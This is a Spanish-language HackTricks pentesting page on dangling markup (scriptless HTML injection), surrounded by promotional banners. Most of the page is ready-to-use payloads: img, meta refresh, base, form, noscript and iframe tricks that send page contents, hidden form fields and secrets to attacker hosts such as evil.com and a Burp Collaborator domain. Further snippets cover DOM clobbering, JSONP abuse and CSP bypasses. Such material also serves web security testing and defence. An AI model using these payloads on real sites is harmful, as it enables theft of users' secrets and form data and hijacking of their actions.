.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - Inyección sin scripts en HTML
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Resumen
Esta técnica se puede utilizar para extraer información de un usuario cuando se encuentra una inyección de HTML. Esto es muy útil si no encuentras ninguna manera de explotar un XSS pero puedes inyectar algunas etiquetas HTML.
También es útil si algún secreto se guarda en texto claro en el HTML y quieres exfiltrarlo del cliente, o si quieres desviar la ejecución de algún script.
Varias técnicas comentadas aquí se pueden usar para evadir algunas Políticas de Seguridad de Contenido exfiltrando información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
Principales Aplicaciones
Robar secretos en texto claro
Si inyectas <img src='http://evil.com/log.cgi?
cuando la página se carga, la víctima te enviará todo el código entre la etiqueta img
inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, observa cuál podría ser más interesante de usar).
Si la etiqueta img
está prohibida (por ejemplo, debido a CSP) también puedes usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Tenga en cuenta que Chrome bloquea URLs HTTP con "<" o "\n" en ellas, por lo que podría intentar otros esquemas de protocolo como "ftp".
También puede abusar de CSS @import
(enviará todo el código hasta que encuentre un ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
También podrías usar <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
También podrías insertar una etiqueta <base
. Toda la información se enviará hasta que se cierre la comilla, pero requiere cierta interacción del usuario (el usuario debe hacer clic en algún enlace, porque la etiqueta base habrá cambiado el dominio al que apunta el enlace):
<base target=' <--- Injected
steal me'<b>test</b>
Robo de formularios
<base href='http://evil.com/'>
Robo de formularios 2
Establece un encabezado de formulario: <form action='http://evil.com/log_steal'>
esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante.
Robo de formularios 3
El botón puede cambiar la URL a donde se va a enviar la información del formulario con el atributo "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Un atacante puede usar esto para robar la información.
Robando secretos en texto claro 2
Utilizando la técnica mencionada anteriormente para robar formularios (inyectando un nuevo encabezado de formulario), puedes entonces inyectar un nuevo campo de entrada:
<input type='hidden' name='review_body' value="
y este campo de entrada contendrá todo el contenido entre su comilla doble y la siguiente comilla doble en el HTML. Este ataque combina "Robo de secretos en texto claro" con "Robo de formularios2".
Puedes hacer lo mismo inyectando un formulario y una etiqueta <option>
. Todos los datos hasta que se encuentre un </option>
cerrado serán enviados:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Inyección de parámetros en formularios
Puedes cambiar la ruta de un formulario e insertar nuevos valores para que se realice una acción inesperada:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Robo de secretos en texto claro mediante noscript
<noscript></noscript>
Es una etiqueta cuyo contenido será interpretado si el navegador no soporta javascript (puedes habilitar/deshabilitar Javascript en Chrome en chrome://settings/content/javascript).
Una forma de exfiltrar el contenido de la página web desde el punto de inyección hasta el final hacia un sitio controlado por el atacante sería inyectando esto:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Eludir CSP con interacción del usuario
De esta investigación de portswiggers puedes aprender que incluso desde los entornos más restringidos por CSP todavía puedes exfiltrar datos con alguna interacción del usuario. En esta ocasión vamos a usar el payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Tenga en cuenta que pedirá a la víctima que haga clic en un enlace que la redirigirá a un payload controlado por usted. También tenga en cuenta que el atributo target
dentro de la etiqueta base
contendrá contenido HTML hasta la siguiente comilla simple.
Esto hará que el valor de window.name
si se hace clic en el enlace sea todo ese contenido HTML. Por lo tanto, como usted controla la página a la que la víctima está accediendo al hacer clic en el enlace, puede acceder a ese window.name
y exfiltrar esos datos:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Flujo de trabajo de script engañoso 1 - Ataque de espacio de nombres HTML
Inserta una nueva etiqueta con un id dentro del HTML que sobrescribirá la siguiente y con un valor que afectará el flujo de un script. En este ejemplo estás seleccionando con quién se va a compartir una información:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Flujo de trabajo engañoso de script 2 - Ataque de espacio de nombres de script
Crea variables dentro del espacio de nombres de javascript insertando etiquetas HTML. Luego, esta variable afectará el flujo de la aplicación:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Abuso de JSONP
Si encuentras una interfaz JSONP podrías ser capaz de llamar a una función arbitraria con datos arbitrarios:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
O incluso puedes intentar ejecutar algo de javascript:
<script src='/search?q=a&call=alert(1)'></script>
Abuso de Iframe
Tenga en cuenta que un documento hijo puede ver y establecer la propiedad de ubicación para el padre, incluso si es de origen cruzado. Esto significa que puede hacer que el cliente acceda a cualquier otra página cargando dentro de un iframe código como:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Esto puede mitigarse con algo como: sandbox=’ allow-scripts allow-top-navigation’
Un iframe también puede ser abusado para filtrar información sensible de una página diferente usando el atributo de nombre del iframe. Esto se debe a que puedes crear un iframe que se auto-contiene abusando de la inyección HTML que hace que la información sensible aparezca dentro del atributo de nombre del iframe y luego acceder a ese nombre desde el iframe inicial y filtrarlo.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Para más información, consulta https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Abuso de <meta
Puedes usar meta http-equiv
para realizar varias acciones como establecer una Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
o realizar una redirección (en este caso, después de 5 segundos): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Esto puede ser evitado con una CSP en relación a http-equiv (Content-Security-Policy: default-src 'self';
, o Content-Security-Policy: http-equiv 'self';
)
Nueva etiqueta HTML <portal
Puedes encontrar una investigación muy interesante sobre vulnerabilidades explotables de la etiqueta <portal aquí.
En el momento de escribir esto, necesitas habilitar la etiqueta portal en Chrome en chrome://flags/#enable-portals
o no funcionará.
<portal src='https://attacker-server?
Fugas de HTML
No todas las formas de fuga de conectividad en HTML serán útiles para Dangling Markup, pero a veces podrían ayudar. Revísalas aquí: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Esta es una mezcla entre dangling markup y XS-Leaks. Por un lado, la vulnerabilidad permite inyectar HTML (pero no JS) en una página del mismo origen que la que atacaremos. Por otro lado, no atacaremos directamente la página donde podemos inyectar HTML, sino otra página.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search está orientado a exfiltrar información de origen cruzado abusando de ataques de canal lateral. Por lo tanto, es una técnica diferente a Dangling Markup, sin embargo, algunas de las técnicas abusan de la inclusión de etiquetas HTML (con y sin ejecución de JS), como Inyección de CSS o Carga Perezosa de Imágenes.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Referencias
Todas las técnicas presentadas aquí y más pueden ser revisadas con más detalles en:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
Otras etiquetas HTML que pueden ser abusadas se pueden encontrar aquí:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
Más información:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.